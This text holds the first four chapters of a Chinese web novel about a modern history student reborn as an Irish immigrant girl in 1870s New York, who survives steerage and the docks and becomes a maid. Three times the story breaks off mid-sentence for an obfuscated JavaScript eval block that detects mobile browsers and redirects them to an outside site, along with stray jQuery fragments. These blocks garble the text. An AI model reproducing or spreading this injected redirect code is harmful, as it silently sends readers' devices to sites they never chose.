《镀金时代小女仆》 1. 穿越底舱 聂安是被臭醒的！ 令人窒息的恶臭粗暴地钻入鼻腔，仿佛上百条从未清洗过的抹布在空气中发酵，臭的无法形容。 紧接着是触觉，身下是粗糙潮湿、粘腻冰冷的木板，硌得她骨头生疼。每一次颠簸都让她单薄的身体与硬木板发生一次令人不适的摩擦。 然后是听觉，一种持续不断的、低沉痛苦的呻吟像背景音般笼罩着一切，其间混杂着断断续续的咳嗽、婴儿撕心裂肺的啼哭、以及某种木头结构在巨大压力下发出的“嘎吱”哀鸣。 聂安猛地睁开眼。 黑暗。几乎是绝对的黑暗，只有极高极远处，似乎有一个小小的舱口，透入一丝微弱可怜的昏黄光线，勉强勾勒出一个极其压抑的空间轮廓。 她在哪儿？博物馆的触电事故……那剧烈的麻痹感似乎还残留在神经末梢。她不是应该躺在医院，或者…… 一阵剧烈的头痛毫无预兆地袭来，像是有一把铁锥狠狠凿进她的太阳穴。无数破碎的、陌生的画面伴随着痛楚疯狂涌入脑海：泥泞的小路、一间摇摇欲坠的茅草屋、一个面容模糊憔悴的妇人用爱尔兰盖尔语低声哼着歌、一张墨迹斑斑的船票、冰冷刺骨的海水拍打船舷、还有挥之不去的、令人虚弱的高热和窒息感…… “安妮……可怜的孩子……愿圣母庇佑你……” 身旁，一个极其苍老、带着浓重爱尔兰口音的英语低语响起，带着深深的疲惫和一丝麻木的怜悯。 聂安，或者说，此刻占据着这具虚弱身体的聂安的意识，艰难地转动脖颈。借着那微弱的光，她看到紧挨着自己躺着的，是一位头发灰白散乱、脸上刻满了岁月和苦难痕迹的老妇人。老妇人浑浊的蓝眼睛正望着她，干裂的嘴唇微微翕动。 “水……” 聂安听到自己喉咙里发出一个极其沙哑、陌生的声音，微弱得几乎被周遭的呻吟淹没。这声音不属于她，至少不属于那个在窗明几净的图书馆里查阅资料的历史学学生聂安。 老妇人艰难地摇了摇头，眼神里充满了无奈：“没了……早没了……再忍忍，孩子，或许……或许就快到了……” 她的声音越来越低，最后化作一声沉重的叹息，仿佛连说这些话都已耗尽了力气。 “安妮”——聂安强迫自己接受这个暂时的称呼，试图吞咽，喉咙却干涩得像砂纸摩擦，带来一阵灼痛。她艰难地抬起仿佛灌了铅的手臂，摸了摸自己的额头，触手一片滚烫。 高烧。 这具身体的原主人，那个真正的爱尔兰少女安妮，恐怕正是在这高烧和恶劣环境的双重折磨下告别了世间。 而自己，聂安，她的意识，竟离奇地在这具躯体里苏醒了过来。 荒谬感如同潮水般涌上。但求生的本能，以及一个历史研究者近乎条件反射般的分析癖好，强行压下了这股情绪。 她迫使自己冷静下来，像处理一份破碎的古代文献一样，开始梳理那些涌入脑海的、属于安妮的零碎记忆片段，同时结合自身的感官和知识进行交叉验证。 低矮压抑的船舱，空气中饱和的盐分和腐败气味，持续不断的、有规律的摇晃和颠簸……这是船上。而且是货舱或者底舱。 周围密集蜷缩的人影，几乎全是面黄肌瘦、衣衫褴褛，带着明显欧洲农民特征的面孔，尤其是那浓重的爱尔兰和偶尔听到的德语口音…… 肮脏到极点的环境，缺乏最基本的水和食物配给…… 所有的线索在她脑中飞速组合、比对，与她头脑中的某段知识迅速吻合。 “上帝啊……” 她无声地倒抽了一口冷气，尽管污浊的空气让她立刻咳嗽起来，“这……这不会是十九世纪的跨大西洋移民船底舱吧？” 她继续收集着周围的信息。 她的思维下意识地切换到了她最熟悉的模式——学术性的文本分析，仿佛正在撰写一篇论文：“根据空间布局、卫生条件、乘客的种族构成和口音判断，这极大概率是一艘1870年代左右，运送欧洲移民——主要是爱尔兰和德意志地区移民——前往北美的不定期班轮或早期蒸汽帆船。航行的终点，很可能是纽约或波士顿港。” 这个结论让她如坠冰窟。作为专研美国“镀金时代”（Gilded Age）社会经济史的学者，她太清楚这个时代对于这些怀揣着“美国梦”的贫困移民意味着什么了。 “镀金时代……” 她在心里默念这个她写过无数遍的术语，一股冰冷的恐惧顺着脊椎爬升，“表面是经济飞速发展、财富急剧膨胀的‘黄金时代’，底层却是骇人听闻的剥削、难以想象的贫富差距、混乱失序的社会规则和极度危险的生存环境……” 而她现在，不再是那个在书斋里安全地研究这段历史的旁观者了。她即将，可能，已经成为了这段历史的一部分，而且是其中最脆弱、最底层、最易受到伤害的那一类人——一个身无分文、举目无亲、因病虚弱、并且极有可能未成年的爱尔兰孤女。 在安妮残存的记忆碎片里，她确认了这一点：父母早已在故土的饥荒和疾病中双双离世，她变卖了所有微不足道的家产，换来这张前往“希望之地”的单程船票，渴望投奔一位远方舅舅。然而，舅舅的地址是否准确？对方是否还活着？是否愿意收留她？全都是未知数。 而在这之前，她必须先在这艘漂浮的“活地狱”里活下去。 底舱是伤寒、霍乱等传染病的温床，高死亡率是常态。一旦染病，往往就意味着被抛弃。劫掠、骚扰，对于她这样落单的年轻女孩来说，更是无处不在的威胁。即使侥幸熬过航程，等待她的也绝非坦途：曼哈顿下城混乱肮脏的贫民窟、血汗工厂里非人的劳作、无处不在的歧视和欺骗…… 危险。极度的危险。几乎令人绝望。 不能死在这里。绝对不能。聂安的意志在呐喊。无论多么荒谬，既然活下来了，就必须活下去。 首先，需要水。高烧和脱水正在迅速消耗这具身体最后一点生命力。 她再次艰难地转动视线，越过身边昏睡或麻木的人们，看向舱内偶尔晃动的、稍微强壮些的身影——那些负责维持最低限度秩序和分发少量食物的船务杂役。他们是眼下唯一可能提供帮助的人。 机会很快来了。一个穿着肮脏粗布上衣、面色不善的杂役，正骂骂咧咧地拨开过道上横七竖八的腿脚，似乎在进行某种例行的、敷衍的巡视。 安妮（聂安）积蓄起全身的力气，在他经过身边时，用尽可能清晰、虽然依旧沙哑的英语开口，刻意避免了任何爱尔兰口音，用的是她作为聂安时最纯正、略带学术严谨性的伦敦标准音： “先生（Sir）。” 杂役愣了一下，似乎没料到在这猪圈一样的底舱里，会有人用这样一种清晰、甚至带着点不容置疑的语调叫他。他停下脚步，皱着眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417882|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，不耐烦地看向声音来源——一个躺在破毯子里、脸色烧得通红、瘦弱不堪的小姑娘。 “吵什么吵？”他粗声粗气地说。 聂安直视着他，尽管眼前因为虚弱而阵阵发黑：“先生，我因发烧急需清水。根据海事惯例和最基本的人道原则，乘客有权获得维持生命的饮水。我的状况需要水！” 这一串流利、用词正式甚至带着点法律意味的话，让杂役彻底懵了。他狐疑地上下打量着她。这女孩的穿着打扮明明就是个最穷酸的爱尔兰灾民，可这口英语，却比某些头等舱的绅士还要标准……还有那眼神，虽然虚弱，却有一种奇异的冷静和洞察力，完全不像她这个年纪和阶层该有的。 见鬼了？他心里嘀咕着。是被烧糊涂了说胡话，还是……？ 聂安敏锐地捕捉到了他眼中的疑惑和一丝动摇。她知道，自己与众不同的表现引起了对方的注意，这可能是一把双刃剑，但此刻别无选择。她必须展现出“价值”，哪怕是令人困惑的价值。 她继续用那种平稳的语调，加上一丝恰到好处的、不容忽视的迫切：“先生，一点清水就能让我活下去。一个活着的、能沟通、能遵守秩序并对您的帮助心存感激的乘客，难道不比一具需要你们额外费力处理的尸体更符合船方的利益吗？” 杂役啐了一口，眼神复杂。他见过太多在底舱默默死掉的人，通常他眼皮都不会抬一下。但这个女孩……太奇怪了。她的话似乎有点道理，而且那种语气，莫名地让他有点……不敢轻易怠慢？好像她不是什么卑微的移民，而是个有身份的人暂时落难了一样。 “啧，麻烦精……” 他嘴里不耐烦地嘟囔着，似乎在为自己接下来的行为找借口。他左右看了看，其他乘客大多昏沉沉的，没人注意这个角落。他犹豫了一下，最终还是从腰间解下一个脏兮兮的皮质水袋，拔开塞子，没好气地递过去。 “省着点喝！就这么多，没了！”他粗声嘱咐道，仿佛施舍了天大的恩惠。 “非常感谢您的慷慨，先生。我会记住的。” 聂安努力控制着颤抖的手，接过水袋。她没有立刻牛饮，而是先小口地湿润了一下嘴唇和口腔，然后才极其克制地喝了几小口。带着皮腥味和一丝咸涩的液体滑过喉咙，那一刻，仿佛久旱的田地迎来了微雨，虽然微不足道，却足以让她几乎崩溃的身体重新感知到一丝生机。 她把水袋递回去，再次用那双过于冷静的眼睛看着杂役：“谢谢您。” 杂役一把夺回水袋，表情更加古怪了。他嘟囔了一句谁也听不清的话，像是“怪胎”，然后迅速转身走开，仿佛不想再和这个诡异的女孩有任何牵扯。 聂安缓缓躺回冰冷坚硬的木板上，小心地保存着口中那一点珍贵的湿润感。几口清水无法立刻退却高烧，也无法填饱饥饿的肠胃，更无法改变她身处险境的现实。 但这是一个开始。她用现代人的思维方式，结合安妮这具身体残存的记忆和语言本能，在这绝望的深渊里，撬开了一丝微小的缝隙。 她闭上眼睛，不再去闻那令人作呕的气味，不再去听那无尽的呻吟，而是开始全力调动脑海中的所有历史资料，像规划一篇复杂的论文一样，疯狂地规划着下一步。 微弱的光线在远处摇曳。航程还很长，危险环伺四周。 但在这具名为安妮的躯体内，一个名为聂安的灵魂已经苏醒。 2. 码头惊魂 “嘀嘀嘀！” 震耳欲聋的喧嚣取代了底舱里压抑的呻吟。 尖锐的汽笛嘶鸣、粗野的呵斥、无穷无尽的脚步声、还有各种口音混杂着的兴奋、焦虑或茫然的呼喊，所有这些声音搅拌在一起，形成一股巨大的声浪，猛烈冲击着聂安的耳膜。 她被裹挟在人流中，不由自主地向前移动。 空气中弥漫着鱼腥、煤灰和浓重的人体汗臭。与底舱相比，依然臭，但至少没那么具有攻击性了。 纽约。 聂安眯起被强烈光线刺痛的眼睛，贪婪地呼吸着虽然污浊但至少流动着的空气，努力在摇晃的甲板上站稳。她和其他底舱的乘客一样，背着少得可怜的行李，等待下船。高烧在航程最后几日稍微退去了一些，但虚弱和眩晕依然紧紧缠绕着她，每一步都像踩在棉花上。 自由女神像此刻还未矗立于此迎接疲惫的灵魂，映入她眼帘的，是曼哈顿下城杂乱无章的天际线，砖石建筑拥挤不堪，无数烟囱向灰蒙蒙的天空喷吐着黑烟。码头本身就像一片混乱的战场，货物堆积如山，马车穿梭不停，形形色色的人如同潮水般涌来涌去。 她已经探听明白了。 这就是1870年代的纽约。镀金时代喧嚣沸腾的入口，机遇与危险并存的巨大熔炉。欧洲人口中，所谓的“希望之地”。 人流开始缓慢地通过临时搭起的木板，走向码头区域。那里，更多的混乱在等待着。穿着制服、面色冷漠的官员坐在桌子后，对移民进行着草率的检查和登记。而更外围，则聚集着另一群人——他们的眼神截然不同，锐利、贪婪，像秃鹫搜寻猎物般在刚刚下船、满脸茫然的移民中扫视。 聂安紧紧抱着自己那个小小的、空瘪的包袱，里面只有几件破旧衣物和至关重要的船票文件。她尽量低着头，让自己融入人群，减少被注意的可能。但她的与众不同，或许是在船上那几日勉强恢复的一点气色，或许是她眼神中那份与年龄和衣着不符的冷静观察，还是让她成了目标。 一个穿着略显体面但领口油腻、留着浓密络腮胡的男人挤开人群，精准地拦在了她面前。他脸上堆着过分热络的笑容，但眼睛里的算计却冰冷无比。 “嘿，小姑娘！一个人？刚下船？瞧你这虚弱的样子，在纽约有地方去吗？有亲戚接你吗？”他的语速很快，试图用一连串问题让她不知所措。 聂安的心猛地一沉。来了。人贩子，或者以介绍工作为名行欺诈之实的恶徒。这段历史她太熟悉了，无数孤身一人的女移民就是这样被诱骗、控制，最终落入妓院或血汗工厂，永无出头之日。 她停下脚步，没有立刻回答，只是用一双因虚弱而显得格外大的眼睛望着他，手指悄悄捏紧，用疼痛强迫自己保持绝对冷静。 “我……我跟家人一起。”她哑声说，试图撒谎，但声音里的虚弱和孤立无援太过明显。 络腮胡男人笑得更“和善”了：“家人？在哪儿呢？指给我看看？别怕，小姑娘，我是好人，专门帮助你们这些新来的。你看你，脸色这么差，是不是病了？我知道有个地方，暖和又干净，还有医生……” 他的手甚至试图过来拉她的胳膊。 绝对不能跟他走！一旦离开这人潮相对密集的地方，就完了！聂安的思维以前所未有的速度运转。呼救？周围的移民自身难保，官员漠不关心，甚至可能勾结。物理反抗？这具虚弱的身体毫无胜算。 电光石火间，一个念头攫住了她——利用这个时代最原始、最普遍的恐惧。 就在那只手即将碰到她的前一秒，聂安突然剧烈地咳嗽起来，不是假装，她的肺部本就脆弱，这一紧张，咳嗽便止不住地爆发出来。她弯下腰，咳得撕心裂肺，仿佛要把五脏六腑都咳出来。 然后，她猛地抬起头，脸上因为剧烈的咳嗽和原本未褪尽的高烧泛起不正常的潮红。她故意用一种气若游丝，却又足以让周围几个人听到的声音说道： “先生……您真是好心……可是……可是船上的医生说，我这热病……可能会传染。他让我下了船，最好自己待着，别……别连累好人……” “热病”这个词，在十九世纪末的移民语境中，拥有着堪比瘟疫的恐怖力量。它可能指伤寒，可能指斑疹伤寒，可能指肺结核，总之是意味着痛苦、死亡以及可怕的传染性。 果然，这个词像一道无形的屏障，瞬间在她和那个络腮胡男人之间竖起。 男人的笑容瞬间冻结，伸出的手像被烫到一样猛地缩了回去。他脸上掠过一丝惊恐，下意识地后退了半步，仿佛聂安周围空气都带着病毒。周围几个原本也在慢慢靠近、可能打着同样主意的身影，也立刻停顿下来，眼神变得忌惮。 “你……你怎么不早说！”络腮胡男人语气陡变，带着嫌恶和恼怒，“真是晦气！”他再也顾不上伪装，骂骂咧咧地迅速转身，挤进人群消失了，仿佛多待一秒都会被死神盯上。 聂安捂着胸口，继续压抑地低咳了几声，心脏在胸腔里狂跳，几乎要蹦出来。成功了。她利用了这个时代人们对传染病的无知和恐惧，暂时击退了显而易见的危险。 但她不敢有丝毫松懈。危险无处不在，一个退去，很快会有下一个。她必须立刻找到相对安全的依托。 母亲。安妮残存的记忆里，那个临终前憔悴的女人紧紧握着她的手，气息微弱地嘱咐：“……安妮……我的小安妮。如果……如果能到纽约，去找舅舅……天主仆人会指引你……不要相信陌生人，除了穿黑袍的人……” 这是深植于原主安妮潜意识深处的信任，属于一个虔诚爱尔兰天主教家庭的本能。此刻，这记忆成了聂安唯一的指南针。 她强迫自己虚弱的身体移动，目光焦急地在混乱的码头搜寻。 找到了！在码头稍远处，相对安静一点的空地上，搭着一个简陋的棚子。几位穿着黑色长袍、胸前挂着十字架的神职人员正在那里，向一些看起来最困顿的移民分发黑面包和热汤。他们的存在，仿佛这片混乱沼泽中一小片坚硬的土地。 希望之火微弱地燃起。聂安咬紧牙关，用尽最后的气力，踉踉跄跄地朝着那个棚子走去。 排队领取食物的人大多沉默而麻木。轮到聂安时，她几乎已经站不稳。一位年纪稍长、面容疲惫但眼神温和的神父将一小块面包递给她，看到她摇摇欲坠的样子，关切地问：“孩子，你还好吗？就你一个人？” 聂安没有立刻去接面包。她抬起脸，让神父能清晰地看到她脸上的病容和脆弱。她深吸一口气，没有再用船上那种过于标准的英语，而是刻意带上了一点从记忆碎片里搜刮来的、生硬却足够清晰的爱尔兰口音，这让她显得更真实，也更无助。 “神父……求您帮帮我。”她的声音微弱，带着恰到好处的颤抖，眼泪在眼眶里汇聚却倔强地没有落下，“我母亲……她临终前对我说，‘安妮，若你孤身一人，就去寻找主的仆人，他们会像帮助迷途的羔羊一样帮助你’……她告诉我，要相信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417883|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您的指引。” 她提到了母亲，提到了临终遗言，提到了对神职人员的天然信任——这一切都精准地触动了一位牧者的心。 神父的神情立刻变得更加柔和怜悯：“可怜的孩子……愿主保佑你母亲安宁。你叫什么名字？从哪里来？” “安妮，神父。从科克郡来……家里没人了……”她低下头，瘦弱的肩膀微微耸动。 “唉……”神父沉重地叹息一声，这故事他每天都要听上无数遍，但每一次依然令人心酸。他看着眼前这个女孩，虽然病弱狼狈，但言语清晰，眼神干净，甚至带着一种奇异的韧性，不像有些孩子那样完全麻木。 就在这时，旁边另一个看起来略显急躁、负责维护秩序的男人——可能是教堂的世俗执事，粗声提醒：“神父，布鲁克小姐家需要人的事……” 神父像是被提醒了，他犹豫地看了聂安一眼。提供一顿食物容易，但要安置一个无依无靠的孤女却很难。 聂安的心提到了嗓子眼。机会稍纵即逝。她必须抓住那句“布鲁克小姐家需要人”的话头！ 情急之下，一段模糊的记忆碎片闪过脑海，是安妮小时候在主日学里反复背诵过的。她几乎是下意识地，用那带着爱尔兰腔的英语，轻声哽咽道：“神父。我什么都能做……‘耶和华是我的牧者，我必不至缺乏’（The Lord is my shepherd; I shall not want），母亲常说，主的恩典会通过善良的人显现……我只求一个能干活、有片瓦遮头的地方……” 聂安，作为无神论者，向安妮默默地道了一声谢。 这句恰到好处引用的《圣经·诗篇》，出自一个如此困顿的女孩之口，显得无比虔诚和令人心碎，彻底打消了神父最后一丝疑虑。这确实是一个需要帮助也值得帮助的信徒家的孩子，而不仅仅是又一个乞食者。 “好了，孩子，别怕。”神父终于做出了决定，声音充满了安抚，“主不会抛弃他的羔羊。算你幸运，我们教堂一位常做慈善的虔诚信徒，伊迪丝·布鲁克小姐，她的府上正需要一名打杂的女仆。虽然工作辛苦，但至少能给你一个干净的住处和稳定的食物。” 他转向那个执事：“带这个孩子去旁边休息一下，给她点热汤。等我忙完这里。” 执事打量了聂安一眼，似乎觉得她太过瘦弱，但最终还是点了点头：“好的，神父。跟我来吧，小姑娘。” 聂安悬着的心终于落下，一阵强烈的虚脱感几乎让她瘫软在地。她强撑着，对神父深深鞠了一躬，泪水这次真实地滑落：“谢谢您，神父……愿主保佑您。” 她跟着执事走向棚子后面，接过一碗温热、几乎没什么油腥的菜汤，小口小口地喝着，感受着那点微乎其微的热量流遍全身。 她成功了。凭借对时代心理的精准把握、以及安妮残存记忆里那份对信仰的本能利用，她惊退了人贩子，为自己争取到了第一个，也可能是最关键的一个立足点——一个进入秩序世界的契机。 布鲁克小姐的府邸？女仆？ 聂安的思维已经开始习惯性地分析。这意味着从流离失所的移民，变成了有固定居所和工作的佣人。虽然地位低下，工作艰辛，但至少暂时脱离了码头区最赤裸裸的、无法无天的危险环境。这无疑是当前处境下的最优解。 她把找寻那个只知道姓名的舅舅的事情，先放在了脑后。 无论如何，她活过了抵达新大陆的第一天。 3. 纽约宅邸 马车在颠簸了近半个时辰后，终于缓缓停稳。聂安透过摇晃的布帘缝隙，看到的不是气派的前门廊柱，而是一扇阴郁沉重的木门，以及旁边堆积的少许木箱和麻袋。 这里是布鲁克家大宅的后门，仆役和货物进出的通道。 车夫敲了敲门。片刻后，门吱呀一声打开，一个穿着浆洗得笔挺的灰色围裙、头戴同样颜色软帽的中年女人出现在门口。她面容刻板，嘴角自然下垂，眼神严肃，令安妮想到了自己高中数学老师。 她的目光越过车夫，先是扫过神父，随即落在聂安身上，如同检查一件有瑕疵的货物，迅速掠过她简陋的衣衫、凌乱的头发，以及手上因为在船上劳作留下的细微伤口和红痕。 “梅布尔太太，”神父显然认识她，语气带着惯常的温和，“这位是……” “神父，”女管家梅布尔的声音和她的人一样，干硬，没有起伏，直接打断了神父的话，她的假笑挂在脸上，显得格外不协调，“夫人和伊迪丝小姐手上正有其他事情。你有什么事情，我可以代为传达。” 神父似乎习惯了这种态度，微笑着说，“伊迪丝·布鲁克小姐，应该不会拒绝我的来访。是布鲁克小姐曾告知我，贵府有女仆的缺额。我特地带来一位不错的姑娘，帮助你们减轻工作的负担。” 梅布尔还是拦在门口，不咸不淡地说，“请允许我先去通禀夫人。” 说完，便合上半个门，头也不回地往深处走去。 过了一会儿，后门重新敞开。女管家才挤出一丝极其公式化、毫无温度的笑意，“女士们的时间宝贵，请随我来！” 她侧身让开通路，但那种催促和隐隐的不耐烦，像一道无形的浪压了过来。 神父微微点头，示意聂安跟上。聂安深吸一口气，抱着自己那个小的可怜的包袱，低着头，跨过了那高高的门槛。 门内是一条狭窄的走廊，铺着冰冷的石板，墙壁刷着暗沉的油漆。远处隐隐约约、如丝如缕般飘来悠扬钢琴声，技巧娴熟，旋律优美，仿佛来自另一个世界。那是属于主人们的世界。 他们沉默地穿过这条仆人通道。 客厅的门开着。温暖的炉火光映照着精致的壁炉架，空气里飘着淡淡的蜂蜡和玫瑰的味道。伊迪丝·布鲁克小姐正坐在一架三角钢琴前，膝上摊开着一本厚厚的乐谱。琴边，一只短腿小狗欢快地摇着尾巴，“呜呜~”，好像也懂音乐。听到脚步声，她抬起头，看到神父，脸上立刻露出真诚而略显惊讶的笑容，连忙放下乐谱站起身。 “神父？您怎么这个时间过来了？真是意外的惊喜。”她的声音温柔，带着良好的教养。 神父微笑着走上前：“下午好，布鲁克小姐。希望没有打扰您弹琴。我来，是给您带来一个可能需要机会的孩子。”他侧身，将一直低着头的聂安轻轻推到身前，“她叫安妮，从爱尔兰来，举目无亲，但看起来是个诚实肯干的孩子。我记得您前些日子提过，贵府需要添一个打杂的女仆，便冒昧带她过来，请您看看是否合适。” 伊迪丝的目光落在聂安身上。看到她那瘦小的身形、脱线的粗毛衫、以及因为紧张而紧攥着衣角的手，眼中瞬间充满了怜悯与善意。她走上前几步，声音放得更柔了：“可怜的孩子，一路上受了不少苦吧？别害怕，如果愿意，可以先在这里试试，好吗？” 这突如其来的善意几乎让聂安鼻尖一酸，但她忍住了。 “等等。”一个冷冽的声音像一道冰水，从二楼通往客厅的楼梯方向泼来。 众人望去，只见玛蒂尔达·布鲁克夫人正缓步走下楼梯。她穿着一身深紫色的天鹅绒长裙，裙摆曳地，手里拿着一个精致小巧的东方团扇，上面还绘着池塘边嬉戏的东方女孩。她走到光亮处，保养得宜的脸上没有任何表情，目光如同猎枪般上下直射着聂安。 她走到近前，甚至没有看神父和自己的妹妹，直接伸出戴着戒指的手指，挑剔地捏了捏聂安胳膊上的粗毛衫料子，又瞥了眼她瘦削的肩膀。 “这么瘦弱？”她的声音里充满了毫不掩饰的怀疑，“看着风一吹就倒，能有什么力气？怕是连擦拭银器都会手抖拿不稳吧？梅布尔太太，你觉得呢？”她侧头看向女管家。 梅布尔立刻附和，声音有了热量：“夫人说的是，确实过于单薄了。” 聂安的心脏骤然收紧。她知道这是最关键的时刻。她猛地抬起头，不是看向玛蒂尔达，而是看向伊迪丝和神父，用带着急切却努力保持清晰的爱尔兰口音说道：“小姐，神父，夫人，我有力气的！在船上的时候，什么粗活重活我都干过，劈柴、生火、洗刷甲板、搬东西……我都能做！只要给我机会，我什么都能学，一定拼命干活！” 玛蒂尔达夫人挑了挑眉，似乎对她突然的辩解略感意外，但脸上的怀疑并未消退。她下巴微扬，指向客厅角落一个明显许久未用的、造型精美的黄铜煤炉。 “光说没用。去，把那炉火生起来。既然你说生火干过，那就让我看看。5分钟，我要看到火旺起来。做不到，”她顿了顿，声音冷酷，“就从哪里来，回哪里去。” 梅布尔太太立刻走向一旁，取来一把看起来就不好用的旧火钳和几块明显有些潮湿的煤炭，几乎是塞到聂安手里，眼神里带着一丝看好戏的漠然。 聂安接过冰冷的工具，走到煤炉边。炉膛里积了厚厚一层灰烬。她快速扫视四周，大脑飞转。客厅一角的小茶几下层，叠放着几张旧的《纽约论坛报》。 记忆再次闪回——船上那个老水手，一边叼着烟斗一边嘟囔：“……这些报纸，引火最好不过……” 她立刻过去取了几张，不顾梅布尔微微皱起的眉头。她先用火钳费力地清理掉大部分积灰，然后将报纸揉皱，小心地塞进炉膛最下面，再将那些潮湿的煤炭尽量巧妙地架在上面，留出足够的空隙。接着，她拿起配套的打火石和燧石，用力敲击。心里不敢埋怨，这个时候的人早就用上了火柴，女管家偏塞给自己落后的打火装备。 几次失败后，火星终于溅落在揉皱的报纸上，冒起一丝微弱的青烟。她小心地俯身，轻轻吹气，烟越来越浓，终于，“噗”一下，橘红色的火苗舔舐着报纸边缘，迅速蔓延开来，贪婪地向上灼烧着煤炭。 火光照亮了她沁出细汗的额头。她小心地调整着煤炭的位置，让空气流通。不一会儿，顽固的潮湿煤炭也被征 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417884|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服，炉膛里发出了令人安心的、噼啪作响的燃烧声，温暖的热浪开始扩散开来。 玛蒂尔达夫人一直冷眼旁观，此刻才微不可察地颔首，但立刻又提出了新的考验，语气依旧不紧不慢，带着居高临下的审视：“超时了！生火不过是最基本的活计。梅布尔太太，带她去餐厅。把那些久未打理、蒙了污垢的烛台擦拭干净。如果擦不亮，结果一样。” 聂安沉默地跟着女管家走向餐厅。长长的桃花心木餐桌上，摆放着至少十几个大型银质烛台，烛泪残留，表面覆盖着一层厚厚的氧化后的黑色污垢，黯淡无光，仿佛被遗忘了很久。 银器氧化……聂安的思维飞速检索。柠檬！她记得很清楚，现代人几乎都具备的常识。利用柠檬中的柠檬酸与银器表面的硫化银发生化学反应，溶解氧化层以恢复银器光泽 她转向面无表情的梅布尔，尽量用谦卑的语气请求：“太太，请问……厨房有柠檬吗？一点点就好。我听说，用柠檬汁擦拭，效果可能会好一些。” 梅布尔眼中闪过一丝极轻微的讶异，似乎没想到这个爱尔兰穷丫头还知道这个。她撇了撇嘴，最终还是示意一个帮厨女仆拿了两个有些蔫了的柠檬过来。 聂安道了谢，将柠檬切开，汁液挤在一块干净的软布上，然后开始仔细擦拭其中一个最脏的烛台。柠檬汁接触黑色氧化层的瞬间，一股细微的酸味散发开来，而那厚厚的污垢果然开始褪去，布底下渐渐露出银白色光泽。 她不敢停歇，手下用力，动作飞快却不敢马虎。一个接一个，原本死气沉沉的烛台在她手下仿佛重获新生，逐渐变得光亮夺目，直到最后一个烛台被擦拭完毕，在餐厅水晶吊灯的光线下，反射出一片璀璨的光芒。 玛蒂尔达夫人不知何时已踱步到餐厅门口，她缓缓走进来，伸出戴着雪白手套的手指，逐一抚过烛台的表面，仔细检查，甚至对着光查看指尖是否有残留的灰迹。 一丝痕迹也无。 她终于抬起眼，重新审视着这个站在一旁、气息微喘、手指被柠檬汁渍得发红却依旧努力站直的瘦弱女孩。夫人脸上依旧没有太多表情，但语气里那冰冷的锐利似乎钝了一丝。 “还算有点小聪明，手也不算太笨。”她最终评价道，然后目光变得严厉，“但是，布鲁克家有布鲁克家的规矩，严谨、细致、绝对服从。你若想留下，就必须时刻牢记，守好本分。梅布尔太太会告诉你该做什么，不该做什么。明白吗？” 聂安立刻深深低下头：“是，夫人！我明白！我一定守规矩，努力干活，绝不偷懒！” 神父一直悬着的心此刻才彻底放下，脸上露出宽慰的笑容：“感谢您的仁慈，布鲁克夫人。那么，这孩子就拜托您了。教堂还有事，我先告辞了。”他又温和地对聂安说：“安妮，好好珍惜这个机会，主与你同在。” 聂安望向神父，眼中充满了真挚的感激，她再次鞠躬：“谢谢您，神父。您的恩情，我永远不会忘记。日后……日后我一定去教堂看您。” 神父微笑着点点头，在伊迪丝小姐的陪同下离开了客厅。 聂安站在原地，房间里两个女人的目光都落在了她身上。 4. 夫人的法则 那扇沉重的后门在身后关上，仿佛隔绝了两个世界。 码头区的喧嚣、海风的咸腥、以及那种赤裸裸为生存挣扎的紧迫感，瞬间被摒除在外。 取而代之的，是一种截然不同的压力，无形，却无处不在，像一件小了一码，过于紧身的胸衣，束缚着每一次呼吸。 聂安，现在是安妮，站在冰冷石板铺就的仆人通道里，手里还残留着擦拭银器后的轻微疲惫和酸涩感。通过最初的考验带来的短暂松懈，迅速被眼前这庞大宅邸本身的寂静和秩序带来的威慑感所取代。 女管家梅布尔太太用那双能刮掉人一层皮的眼睛最后扫了她一眼，声音平板无波：“你的东西就这些？”她瞥了眼安妮那个小得可怜的包袱。 “是，太太。”安妮回答，因为吃了点东西而有了力气。 “夫人和施耐德先生要见你。跟我来。”梅布尔转身，步伐精确而快速地走在前面。 她们穿过几条错综复杂的走廊，最终停在一扇栎木门前。梅布尔敲了敲门，里面传来一个低沉而威严的男声：“进来。” 房间是管家办公室。玛蒂尔达夫人已经端坐在一张扶手椅上，姿态挺拔。施耐德管家肃立一旁，穿着黑色常礼服，一丝不苟。 梅布尔太太微微躬身：“夫人，施耐德先生，安妮带来了。” 玛蒂尔达夫人再次从头到脚审视着安妮，最终定格在她的眼睛。 像是要看透她的灵魂。 